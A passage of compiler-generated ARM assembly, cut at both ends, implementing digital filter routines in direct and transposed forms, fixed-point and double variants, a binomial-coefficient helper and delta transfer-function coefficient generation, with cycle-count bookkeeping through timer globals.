ldr r3, .L811
ldr r3, [r3, #88]
add r2, r2, r3
ldr r3, .L811+4
ldr r3, [r3]
add r3, r2, r3
ldr r2, .L811+4
str r3, [r2]
ldr r3, .L811
ldr r3, [r3, #36]
lsl r2, r3, #1
ldr r3, .L811
ldr r3, [r3, #72]
add r2, r2, r3
ldr r3, .L811+4
ldr r3, [r3]
add r3, r2, r3
ldr r2, .L811+4
str r3, [r2]
mov r3, #0
str r3, [fp, #-28]
b .L808
.L809:
ldr r3, [fp, #-36]
add r2, r3, #8
str r2, [fp, #-36]
ldmia r3, {r0-r1}
ldr r3, [fp, #-32]
add r2, r3, #8
str r2, [fp, #-32]
ldmia r3, {r2-r3}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
sub r1, fp, #20
ldmia r1, {r0-r1}
bl __aeabi_dadd
mov r2, r0
mov r3, r1
str r2, [fp, #-20]
str r3, [fp, #-16]
ldr r3, .L811
ldr r2, [r3, #40]
mov r3, r2
lsl r3, r3, #2
add r3, r3, r2
lsl r3, r3, #2
mov r1, r3
ldr r3, .L811
ldr r2, [r3, #76]
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
lsl r3, r3, #3
add r1, r1, r3
ldr r3, .L811
ldr r2, [r3, #36]
mov r3, r2
lsl r3, r3, #2
add r3, r3, r2
lsl r3, r3, #1
add r2, r1, r3
ldr r3, .L811
ldr r3, [r3, #88]
lsl r3, r3, #1
add r2, r2, r3
ldr r3, .L811
ldr r3, [r3, #84]
lsl r3, r3, #1
add r2, r2, r3
ldr r3, .L811
ldr r3, [r3, #44]
lsl r3, r3, #1
add r2, r2, r3
ldr r3, .L811
ldr r3, [r3, #48]
lsl r3, r3, #1
add r2, r2, r3
ldr r3, .L811
ldr r3, [r3, #68]
add r2, r2, r3
ldr r3, .L811
ldr r3, [r3, #92]
add r2, r2, r3
ldr r3, .L811
ldr r3, [r3, #96]
add r2, r2, r3
ldr r3, .L811
ldr r3, [r3, #104]
add r2, r2, r3
ldr r3, .L811
ldr r3, [r3, #72]
add r2, r2, r3
ldr r3, .L811+4
ldr r3, [r3]
add r3, r2, r3
ldr r2, .L811+4
str r3, [r2]
ldr r3, [fp, #-28]
add r3, r3, #1
str r3, [fp, #-28]
.L808:
ldr r2, [fp, #-28]
ldr r3, [fp, #16]
cmp r2, r3
blt .L809
ldr r3, .L811
ldr r2, [r3, #40]
ldr r3, .L811
ldr r3, [r3, #76]
add r3, r2, r3
lsl r2, r3, #2
ldr r3, .L811
ldr r3, [r3, #68]
add r2, r2, r3
ldr r3, .L811
ldr r3, [r3, #20]
add r2, r2, r3
ldr r3, .L811
ldr r3, [r3, #28]
add r1, r2, r3
ldr r3, .L811
ldr r2, [r3, #32]
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
add r2, r1, r3
ldr r3, .L811
ldr r3, [r3, #108]
lsl r3, r3, #3
add r2, r2, r3
ldr r3, .L811
ldr r3, [r3, #112]
add r2, r2, r3
ldr r3, .L811+4
ldr r3, [r3]
add r3, r2, r3
ldr r2, .L811+4
str r3, [r2]
sub r3, fp, #20
ldmia r3, {r2-r3}
mov r0, r2
mov r1, r3
sub sp, fp, #12
@ sp needed
pop {r4, r5, fp, pc}
.L812:
.align 2
.L811:
.word hw
.word generic_timer
.size generic_timing_double_direct_form_2, .-generic_timing_double_direct_form_2
.align 2
.global generic_timing_double_transposed_direct_form_2
.syntax unified
.arm
.fpu softvfp
.type generic_timing_double_transposed_direct_form_2, %function
generic_timing_double_transposed_direct_form_2:
@ args = 16, pretend = 0, frame = 40
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, r6, r7, fp, lr}
add fp, sp, #16
sub sp, sp, #44
str r0, [fp, #-48]
str r2, [fp, #-60]
str r3, [fp, #-56]
ldr r3, .L819
ldr r3, [r3, #16]
lsl r1, r3, #3
ldr r3, .L819
ldr r2, [r3, #36]
mov r3, r2
lsl r3, r3, #3
sub r3, r3, r2
lsl r3, r3, #1
add r1, r1, r3
ldr r3, .L819
ldr r2, [r3, #32]
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
add r1, r1, r3
ldr r3, .L819
ldr r2, [r3, #20]
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
add r2, r1, r3
ldr r3, .L819
ldr r3, [r3, #24]
add r2, r2, r3
ldr r3, .L819
ldr r3, [r3, #28]
add r2, r2, r3
ldr r3, .L819+4
ldr r3, [r3]
add r3, r2, r3
ldr r2, .L819+4
str r3, [r2]
mov r2, #0
mov r3, #0
str r2, [fp, #-28]
str r3, [fp, #-24]
ldr r3, [fp, #4]
add r3, r3, #8
str r3, [fp, #-44]
ldr r3, [fp, #8]
str r3, [fp, #-40]
ldr r2, [fp, #16]
ldr r3, [fp, #12]
cmp r2, r3
movge r3, r2
movlt r3, r3
str r3, [fp, #-32]
ldr r3, [fp, #-40]
add r2, r3, #8
str r2, [fp, #-40]
ldmia r3, {r0-r1}
sub r3, fp, #60
ldmia r3, {r2-r3}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
ldr r3, [fp, #-48]
ldmia r3, {r2-r3}
bl __aeabi_dadd
mov r2, r0
mov r3, r1
str r2, [fp, #-28]
str r3, [fp, #-24]
ldr r3, .L819
ldr r2, [r3, #36]
mov r3, r2
lsl r3, r3, #4
sub r1, r3, r2
ldr r3, .L819
ldr r2, [r3, #40]
mov r3, r2
lsl r3, r3, #2
add r3, r3, r2
lsl r3, r3, #1
add r3, r3, r2
lsl r3, r3, #1
add r1, r1, r3
ldr r3, .L819
ldr r2, [r3, #76]
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
lsl r3, r3, #3
add r2, r1, r3
ldr r3, .L819
ldr r3, [r3, #88]
lsl r3, r3, #1
add r2, r2, r3
ldr r3, .L819
ldr r3, [r3, #84]
lsl r3, r3, #1
add r2, r2, r3
ldr r3, .L819
ldr r3, [r3, #92]
add r2, r2, r3
ldr r3, .L819
ldr r3, [r3, #96]
add r2, r2, r3
ldr r3, .L819
ldr r3, [r3, #44]
add r2, r2, r3
ldr r3, .L819
ldr r3, [r3, #48]
add r2, r2, r3
ldr r3, .L819
ldr r3, [r3, #104]
add r2, r2, r3
ldr r3, .L819
ldr r3, [r3, #68]
add r2, r2, r3
ldr r3, .L819+4
ldr r3, [r3]
add r3, r2, r3
ldr r2, .L819+4
str r3, [r2]
ldr r3, .L819
ldr r3, [r3, #36]
lsl r2, r3, #1
ldr r3, .L819
ldr r3, [r3, #72]
add r2, r2, r3
ldr r3, .L819+4
ldr r3, [r3]
add r3, r2, r3
ldr r2, .L819+4
str r3, [r2]
mov r3, #0
str r3, [fp, #-36]
b .L814
.L817:
ldr r3, [fp, #-36]
add r3, r3, #1
lsl r3, r3, #3
ldr r2, [fp, #-48]
add r3, r2, r3
ldr r2, [fp, #-36]
lsl r2, r2, #3
ldr r1, [fp, #-48]
add r1, r1, r2
ldmia r3, {r2-r3}
stm r1, {r2-r3}
ldr r3, [fp, #12]
sub r3, r3, #1
ldr r2, [fp, #-36]
cmp r2, r3
bge .L815
ldr r3, [fp, #-44]
add r2, r3, #8
str r2, [fp, #-44]
ldmia r3, {r0-r1}
sub r3, fp, #28
ldmia r3, {r2-r3}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, [fp, #-36]
lsl r3, r3, #3
ldr r2, [fp, #-48]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-36]
lsl r3, r3, #3
ldr r2, [fp, #-48]
add r4, r2, r3
mov r2, r6
mov r3, r7
bl __aeabi_dsub
mov r2, r0
mov r3, r1
stm r4, {r2-r3}
.L815:
ldr r3, [fp, #16]
sub r3, r3, #1
ldr r2, [fp, #-36]
cmp r2, r3
bge .L816
ldr r3, [fp, #-40]
add r2, r3, #8
str r2, [fp, #-40]
ldmia r3, {r0-r1}
sub r3, fp, #60
ldmia r3, {r2-r3}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, [fp, #-36]
lsl r3, r3, #3
ldr r2, [fp, #-48]
add r3, r2, r3
ldmia r3, {r2-r3}
ldr r1, [fp, #-36]
lsl r1, r1, #3
ldr r0, [fp, #-48]
add r4, r0, r1
mov r0, r6
mov r1, r7
bl __aeabi_dadd
mov r2, r0
mov r3, r1
stm r4, {r2-r3}
.L816:
ldr r3, .L819
ldr r2, [r3, #76]
mov r3, r2
lsl r3, r3, #2
add r3, r3, r2
lsl r2, r3, #3
sub r2, r2, r3
lsl r3, r2, #1
mov r2, r3
mov r1, r2
ldr r3, .L819
ldr r2, [r3, #40]
mov r3, r2
lsl r3, r3, #6
add r3, r3, r2
add r1, r1, r3
ldr r3, .L819
ldr r2, [r3, #52]
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
lsl r3, r3, #2
add r1, r1, r3
ldr r3, .L819
ldr r2, [r3, #56]
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
lsl r3, r3, #2
add r1, r1, r3
ldr r3, .L819
ldr r2, [r3, #36]
mov r3, r2
lsl r3, r3, #4
sub r3, r3, r2
add r1, r1, r3
ldr r3, .L819
ldr r2, [r3, #60]
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
lsl r3, r3, #1
add r1, r1, r3
ldr r3, .L819
ldr r2, [r3, #64]
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
lsl r3, r3, #1
add r2, r1, r3
ldr r3, .L819
ldr r3, [r3, #68]
lsl r3, r3, #1
add r1, r2, r3
ldr r3, .L819
ldr r2, [r3, #96]
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
add r1, r1, r3
ldr r3, .L819
ldr r2, [r3, #92]
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
add r1, r1, r3
ldr r3, .L819
ldr r2, [r3, #84]
mov r3, r2
lsl r3, r3, #2
add r3, r3, r2
add r2, r1, r3
ldr r3, .L819
ldr r3, [r3, #88]
lsl r3, r3, #2
add r1, r2, r3
ldr r3, .L819
ldr r2, [r3, #44]
mov r3, r2
lsl r3, r3, #2
add r3, r3, r2
add r1, r1, r3
ldr r3, .L819
ldr r2, [r3, #72]
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
add r2, r1, r3
ldr r3, .L819
ldr r3, [r3, #120]
lsl r3, r3, #1
add r1, r2, r3
ldr r3, .L819
ldr r2, [r3, #116]
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
add r2, r1, r3
ldr r3, .L819
ldr r3, [r3, #48]
lsl r3, r3, #1
add r1, r2, r3
ldr r3, .L819
ldr r2, [r3, #80]
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
add r2, r1, r3
ldr r3, .L819
ldr r3, [r3, #104]
add r2, r2, r3
ldr r3, .L819+4
ldr r3, [r3]
add r3, r2, r3
ldr r2, .L819+4
str r3, [r2]
ldr r3, [fp, #-36]
add r3, r3, #1
str r3, [fp, #-36]
.L814:
ldr r3, [fp, #-32]
sub r3, r3, #1
ldr r2, [fp, #-36]
cmp r2, r3
blt .L817
ldr r3, .L819
ldr r2, [r3, #40]
ldr r3, .L819
ldr r3, [r3, #76]
add r2, r2, r3
ldr r3, .L819
ldr r3, [r3, #108]
lsl r3, r3, #1
add r3, r2, r3
lsl r1, r3, #2
ldr r3, .L819
ldr r2, [r3, #32]
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
add r2, r1, r3
ldr r3, .L819
ldr r3, [r3, #20]
add r2, r2, r3
ldr r3, .L819
ldr r3, [r3, #28]
add r2, r2, r3
ldr r3, .L819
ldr r3, [r3, #68]
add r2, r2, r3
ldr r3, .L819
ldr r3, [r3, #112]
add r2, r2, r3
ldr r3, .L819+4
ldr r3, [r3]
add r3, r2, r3
ldr r2, .L819+4
str r3, [r2]
sub r3, fp, #28
ldmia r3, {r2-r3}
mov r0, r2
mov r1, r3
sub sp, fp, #16
@ sp needed
pop {r4, r6, r7, fp, pc}
.L820:
.align 2
.L819:
.word hw
.word generic_timer
.size generic_timing_double_transposed_direct_form_2, .-generic_timing_double_transposed_direct_form_2
.section .rodata
.align 2
.LC37:
.word __stack_chk_guard
.text
.align 2
.global double_direct_form_1_impl2
.syntax unified
.arm
.fpu softvfp
.type double_direct_form_1_impl2, %function
double_direct_form_1_impl2:
@ args = 12, pretend = 0, frame = 48
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, r5, r6, r7, r8, r9, fp, lr}
add fp, sp, #28
sub sp, sp, #48
str r0, [fp, #-56]
str r1, [fp, #-60]
str r2, [fp, #-64]
str r3, [fp, #-68]
ldr r3, [fp, #4]
str r3, [fp, #-72]
ldr r3, [fp, #12]
str r3, [fp, #-76]
ldr r3, .L837
ldr r3, [r3]
str r3, [fp, #-32]
mov r3,#0
mov r3, sp
mov r9, r3
mov r3, #0
str r3, [fp, #-44]
mov r3, #0
str r3, [fp, #-48]
ldr ip, [fp, #-60]
sub r3, ip, #1
str r3, [fp, #-40]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
lsl r3, r3, #3
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
mov r3, sp
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
str r3, [fp, #-36]
mov r3, #0
str r3, [fp, #-44]
b .L822
.L827:
ldr r2, [fp, #-36]
ldr r3, [fp, #-44]
lsl r3, r3, #3
add r1, r2, r3
mov r2, #0
mov r3, #0
stm r1, {r2-r3}
mov r3, #0
str r3, [fp, #-48]
b .L823
.L826:
ldr r2, [fp, #-48]
ldr r3, [fp, #-44]
cmp r2, r3
bgt .L835
ldr r2, [fp, #-36]
ldr r3, [fp, #-44]
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r6-r7}
ldr r2, [fp, #-44]
ldr r3, [fp, #-48]
sub r3, r2, r3
lsl r3, r3, #3
ldr r2, [fp, #-56]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-48]
lsl r3, r3, #3
ldr r2, [fp, #-64]
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dadd
mov r2, r0
mov r3, r1
ldr r0, [fp, #-36]
ldr r1, [fp, #-44]
lsl r1, r1, #3
add r1, r0, r1
stm r1, {r2-r3}
ldr r3, [fp, #-48]
add r3, r3, #1
str r3, [fp, #-48]
.L823:
ldr r2, [fp, #-48]
ldr r3, [fp, #-68]
cmp r2, r3
blt .L826
b .L825
.L835:
nop
.L825:
ldr r3, [fp, #-44]
add r3, r3, #1
str r3, [fp, #-44]
.L822:
ldr r2, [fp, #-44]
ldr r3, [fp, #-60]
cmp r2, r3
blt .L827
ldr r3, [fp, #-36]
ldmia r3, {r2-r3}
ldr r1, [fp, #-76]
stm r1, {r2-r3}
mov r3, #1
str r3, [fp, #-44]
b .L828
.L833:
ldr r3, [fp, #-44]
lsl r3, r3, #3
ldr r2, [fp, #-76]
add r1, r2, r3
mov r2, #0
mov r3, #0
stm r1, {r2-r3}
ldr r3, [fp, #-44]
lsl r3, r3, #3
ldr r2, [fp, #-76]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r2, [fp, #-36]
ldr r3, [fp, #-44]
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r2-r3}
ldr ip, [fp, #-44]
lsl ip, ip, #3
ldr lr, [fp, #-76]
add r6, lr, ip
bl __aeabi_dadd
mov r2, r0
mov r3, r1
stm r6, {r2-r3}
mov r3, #1
str r3, [fp, #-48]
b .L829
.L832:
ldr r2, [fp, #-48]
ldr r3, [fp, #-44]
cmp r2, r3
bgt .L836
ldr r3, [fp, #-44]
lsl r3, r3, #3
ldr r2, [fp, #-76]
add r3, r2, r3
ldmia r3, {r6-r7}
ldr r2, [fp, #-44]
ldr r3, [fp, #-48]
sub r3, r2, r3
lsl r3, r3, #3
ldr r2, [fp, #-76]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-48]
lsl r3, r3, #3
ldr r2, [fp, #-72]
add r3, r2, r3
ldmia r3, {r2-r3}
mov r4, r2
eor r5, r3, #-2147483648
mov r2, r4
mov r3, r5
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
ldr r3, [fp, #-44]
lsl r3, r3, #3
ldr r2, [fp, #-76]
add r8, r2, r3
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dadd
mov r2, r0
mov r3, r1
stm r8, {r2-r3}
ldr r3, [fp, #-48]
add r3, r3, #1
str r3, [fp, #-48]
.L829:
ldr r2, [fp, #-48]
ldr r3, [fp, #8]
cmp r2, r3
blt .L832
b .L831
.L836:
nop
.L831:
ldr r3, [fp, #-44]
add r3, r3, #1
str r3, [fp, #-44]
.L828:
ldr r2, [fp, #-44]
ldr r3, [fp, #-60]
cmp r2, r3
blt .L833
mov sp, r9
nop
ldr r3, .L837
ldr r2, [r3]
ldr r3, [fp, #-32]
eors r2, r3, r2
mov r3, #0
beq .L834
bl __stack_chk_fail
.L834:
sub sp, fp, #28
@ sp needed
pop {r4, r5, r6, r7, r8, r9, fp, pc}
.L838:
.align 2
.L837:
.word .LC37
.size double_direct_form_1_impl2, .-double_direct_form_1_impl2
.section .rodata
.align 2
.LC38:
.word __stack_chk_guard
.text
.align 2
.global fxp_direct_form_1_impl2
.syntax unified
.arm
.fpu softvfp
.type fxp_direct_form_1_impl2, %function
fxp_direct_form_1_impl2:
@ args = 12, pretend = 0, frame = 48
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, r5, r6, fp, lr}
add fp, sp, #16
sub sp, sp, #52
str r0, [fp, #-48]
str r1, [fp, #-52]
str r2, [fp, #-56]
str r3, [fp, #-60]
ldr r3, [fp, #4]
str r3, [fp, #-64]
ldr r3, [fp, #12]
str r3, [fp, #-68]
ldr r3, .L855
ldr r3, [r3]
str r3, [fp, #-24]
mov r3,#0
mov r3, sp
mov r6, r3
mov r3, #0
str r3, [fp, #-36]
mov r3, #0
str r3, [fp, #-40]
ldr ip, [fp, #-52]
sub r3, ip, #1
str r3, [fp, #-32]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
lsl r3, r3, #2
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
mov r3, sp
add r3, r3, #3
lsr r3, r3, #2
lsl r3, r3, #2
str r3, [fp, #-28]
mov r3, #0
str r3, [fp, #-36]
b .L840
.L845:
ldr r3, [fp, #-28]
ldr r2, [fp, #-36]
mov r1, #0
str r1, [r3, r2, lsl #2]
mov r3, #0
str r3, [fp, #-40]
b .L841
.L844:
ldr r2, [fp, #-40]
ldr r3, [fp, #-36]
cmp r2, r3
bgt .L853
ldr r3, [fp, #-28]
ldr r2, [fp, #-36]
ldr r4, [r3, r2, lsl #2]
ldr r2, [fp, #-36]
ldr r3, [fp, #-40]
sub r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-48]
add r3, r2, r3
ldr r0, [r3]
ldr r3, [fp, #-40]
lsl r3, r3, #2
ldr r2, [fp, #-56]
add r3, r2, r3
ldr r3, [r3]
mov r1, r3
bl fxp_mult
mov r3, r0
mov r1, r3
mov r0, r4
bl fxp_add
mov r1, r0
ldr r3, [fp, #-28]
ldr r2, [fp, #-36]
str r1, [r3, r2, lsl #2]
ldr r3, [fp, #-40]
add r3, r3, #1
str r3, [fp, #-40]
.L841:
ldr r2, [fp, #-40]
ldr r3, [fp, #-60]
cmp r2, r3
blt .L844
b .L843
.L853:
nop
.L843:
ldr r3, [fp, #-36]
add r3, r3, #1
str r3, [fp, #-36]
.L840:
ldr r2, [fp, #-36]
ldr r3, [fp, #-52]
cmp r2, r3
blt .L845
ldr r3, [fp, #-28]
ldr r2, [r3]
ldr r3, [fp, #-68]
str r2, [r3]
mov r3, #1
str r3, [fp, #-36]
b .L846
.L851:
ldr r3, [fp, #-36]
lsl r3, r3, #2
ldr r2, [fp, #-68]
add r3, r2, r3
mov r2, #0
str r2, [r3]
ldr r3, [fp, #-36]
lsl r3, r3, #2
ldr r2, [fp, #-68]
add r3, r2, r3
ldr r0, [r3]
ldr r3, [fp, #-28]
ldr r2, [fp, #-36]
ldr r1, [r3, r2, lsl #2]
ldr r3, [fp, #-36]
lsl r3, r3, #2
ldr r2, [fp, #-68]
add r4, r2, r3
bl fxp_add
mov r3, r0
str r3, [r4]
mov r3, #1
str r3, [fp, #-40]
b .L847
.L850:
ldr r2, [fp, #-40]
ldr r3, [fp, #-36]
cmp r2, r3
bgt .L854
ldr r3, [fp, #-36]
lsl r3, r3, #2
ldr r2, [fp, #-68]
add r3, r2, r3
ldr r5, [r3]
ldr r2, [fp, #-36]
ldr r3, [fp, #-40]
sub r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-68]
add r3, r2, r3
ldr r0, [r3]
ldr r3, [fp, #-40]
lsl r3, r3, #2
ldr r2, [fp, #-64]
add r3, r2, r3
ldr r3, [r3]
rsb r3, r3, #0
mov r1, r3
bl fxp_mult
mov r1, r0
ldr r3, [fp, #-36]
lsl r3, r3, #2
ldr r2, [fp, #-68]
add r4, r2, r3
mov r0, r5
bl fxp_add
mov r3, r0
str r3, [r4]
ldr r3, [fp, #-40]
add r3, r3, #1
str r3, [fp, #-40]
.L847:
ldr r2, [fp, #-40]
ldr r3, [fp, #8]
cmp r2, r3
blt .L850
b .L849
.L854:
nop
.L849:
ldr r3, [fp, #-36]
add r3, r3, #1
str r3, [fp, #-36]
.L846:
ldr r2, [fp, #-36]
ldr r3, [fp, #-52]
cmp r2, r3
blt .L851
mov sp, r6
nop
ldr r3, .L855
ldr r2, [r3]
ldr r3, [fp, #-24]
eors r2, r3, r2
mov r3, #0
beq .L852
bl __stack_chk_fail
.L852:
sub sp, fp, #16
@ sp needed
pop {r4, r5, r6, fp, pc}
.L856:
.align 2
.L855:
.word .LC38
.size fxp_direct_form_1_impl2, .-fxp_direct_form_1_impl2
.align 2
.global nchoosek
.syntax unified
.arm
.fpu softvfp
.type nchoosek, %function
nchoosek:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #8
str r0, [fp, #-8]
str r1, [fp, #-12]
ldr r3, [fp, #-12]
cmp r3, #0
bne .L858
mov r3, #1
b .L859
.L858:
ldr r3, [fp, #-8]
sub r2, r3, #1
ldr r3, [fp, #-12]
sub r3, r3, #1
mov r1, r3
mov r0, r2
bl nchoosek
mov r2, r0
ldr r3, [fp, #-8]
mul r3, r2, r3
ldr r1, [fp, #-12]
mov r0, r3
bl __aeabi_idiv
mov r3, r0
.L859:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size nchoosek, .-nchoosek
.align 2
.global generate_delta_coefficients
.syntax unified
.arm
.fpu softvfp
.type generate_delta_coefficients, %function
generate_delta_coefficients:
@ args = 8, pretend = 0, frame = 40
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, r5, fp, lr}
add fp, sp, #12
sub sp, sp, #40
str r0, [fp, #-40]
str r1, [fp, #-44]
str r2, [fp, #-48]
ldr r3, [fp, #-48]
sub r3, r3, #1
str r3, [fp, #-24]
mov r3, #0
str r3, [fp, #-32]
b .L861
.L864:
mov r2, #0
mov r3, #0
str r2, [fp, #-20]
str r3, [fp, #-16]
mov r3, #0
str r3, [fp, #-28]
b .L862
.L863:
ldr r3, [fp, #-28]
lsl r3, r3, #3
ldr r2, [fp, #-40]
add r3, r2, r3
ldmia r3, {r4-r5}
ldr r2, [fp, #-24]
ldr r3, [fp, #-28]
sub r0, r2, r3
ldr r2, [fp, #-32]
ldr r3, [fp, #-28]
sub r3, r2, r3
mov r1, r3
bl nchoosek
mov r3, r0
mov r0, r3
bl __aeabi_i2d
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dmul
mov r2, r0
mov r3, r1
sub r1, fp, #20
ldmia r1, {r0-r1}
bl __aeabi_dadd
mov r2, r0
mov r3, r1
str r2, [fp, #-20]
str r3, [fp, #-16]
ldr r3, [fp, #-28]
add r3, r3, #1
str r3, [fp, #-28]
.L862:
ldr r2, [fp, #-28]
ldr r3, [fp, #-32]
cmp r2, r3
ble .L863
ldr r2, [fp, #-24]
ldr r3, [fp, #-32]
sub r3, r2, r3
mov r0, r3
bl __aeabi_i2d
mov r2, r0
mov r3, r1
ldmib fp, {r0-r1}
bl internal_pow
ldr r3, [fp, #-32]
lsl r3, r3, #3
ldr r2, [fp, #-44]
add r4, r2, r3
sub r3, fp, #20
ldmia r3, {r2-r3}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
stm r4, {r2-r3}
ldr r3, [fp, #-32]
add r3, r3, #1
str r3, [fp, #-32]
.L861:
ldr r2, [fp, #-32]
ldr r3, [fp, #-24]
cmp r2, r3
ble .L864
nop
nop
sub sp, fp, #12
@ sp needed
pop {r4, r5, fp, pc}
.size generate_delta_coefficients, .-generate_delta_coefficients
.align 2
.global get_delta_transfer_function
.syntax unified
.arm
.fpu softvfp
.type get_delta_transfer_function, %function
get_delta_transfer_function:
@ args = 16, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #24
str r0, [fp, #-8]
str r1, [fp, #-12]
str r2, [fp, #-16]
str r3, [fp, #-20]
add r3, fp, #12
ldmia r3, {r2-r3}
stm sp, {r2-r3}
ldr r2, [fp, #-16]
ldr r1, [fp, #-12]
ldr r0, [fp, #-8]
bl generate_delta_coefficients
add r3, fp, #12
ldmia r3, {r2-r3}
stm sp, {r2-r3}
ldr r2, [fp, #8]
ldr r1, [fp, #4]
ldr r0, [fp, #-20]
bl generate_delta_coefficients
nop
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size get_delta_transfer_function, .-get_delta_transfer_function
.align 2
.global get_delta_transfer_function_with_base
.syntax unified
.arm
.fpu softvfp
.type get_delta_transfer_function_with_base, %function
get_delta_transfer_function_with_base:
@ args = 16, pretend = 0, frame = 40
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, r5, fp, lr}
add fp, sp, #12
sub sp, sp, #40
str r0, [fp, #-40]
str r1, [fp, #-44]
str r2, [fp, #-48]
str r3, [fp, #-52]
ldr r3, [fp, #8]
sub r3, r3, #1
str r3, [fp, #-28]
ldr r3, [fp, #-48]
sub r3, r3, #1
str r3, [fp, #-24]
mov r3, #0
str r3, [fp, #-36]
b .L867
.L870:
mov r2, #0
mov r3, #0
str r2, [fp, #-20]
str r3, [fp, #-16]
mov r3, #0
str r3, [fp, #-32]
b .L868
.L869:
ldr r3, [fp, #-32]
lsl r3, r3, #3
ldr r2, [fp, #-52]
add r3, r2, r3
ldmia r3, {r4-r5}
ldr r2, [fp, #-28]
ldr r3, [fp, #-32]
sub r0, r2, r3
ldr r2, [fp, #-36]
ldr r3, [fp, #-32]
sub r3, r2, r3
mov r1, r3
bl nchoosek
mov r3, r0
mov r0, r3
bl __aeabi_i2d
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dmul
mov r2, r0
mov r3, r1
sub r1, fp, #20
ldmia r1, {r0-r1}
bl __aeabi_dadd
mov r2, r0
mov r3, r1
str r2, [fp, #-20]
str r3, [fp, #-16]
ldr r3, [fp, #-32]
add r3, r3, #1
str r3, [fp, #-32]
.L868:
ldr r2, [fp, #-32]
ldr r3, [fp, #-36]
cmp r2, r3
ble .L869
ldr r2, [fp, #-28]
ldr r3, [fp, #-36]
sub r3, r2, r3
mov r0, r3
bl __aeabi_i2d
mov r2, r0
mov r3, r1
add r1, fp, #12
ldmia r1, {r0-r1}
bl internal_pow
ldr r3, [fp, #-36]
lsl r3, r3, #3
ldr r2, [fp, #4]
add r4, r2, r3
sub r3, fp, #20
ldmia r3, {r2-r3}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
stm r4, {r2-r3}
ldr r3, [fp, #-36]
add r3, r3, #1
str r3, [fp, #-36]
.L867:
ldr r2, [fp, #-36]
ldr r3, [fp, #-28]
cmp r2, r3
ble .L870
mov r3, #0
str r3, [fp, #-36]
b .L871
.L874:
mov r2, #0
mov r3, #0
str r2, [fp, #-20]
str r3, [fp, #-16]
mov r3, #0
str r3, [fp, #-32]
b .L872
.L873:
ldr r3, [fp, #-32]
lsl r3, r3, #3
ldr r2, [fp, #-40]
add r3, r2, r3
ldmia r3, {r4-r5}
ldr r2, [fp, #-24]
ldr r3, [fp, #-32]
sub r0, r2, r3
ldr r2, [fp, #-36]
ldr r3, [fp, #-32]
sub r3, r2, r3
mov r1, r3
bl nchoosek
mov r3, r0
mov r0, r3
bl __aeabi_i2d
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dmul
mov r2, r0
mov r3, r1
sub r1, fp, #20
ldmia r1, {r0-r1}
bl __aeabi_dadd
mov r2, r0
mov r3, r1
str r2, [fp, #-20]
str r3, [fp, #-16]
ldr r3, [fp, #-32]
add r3, r3, #1
str r3, [fp, #-32]
.L872:
ldr r2, [fp, #-32]
ldr r3, [fp, #-36]
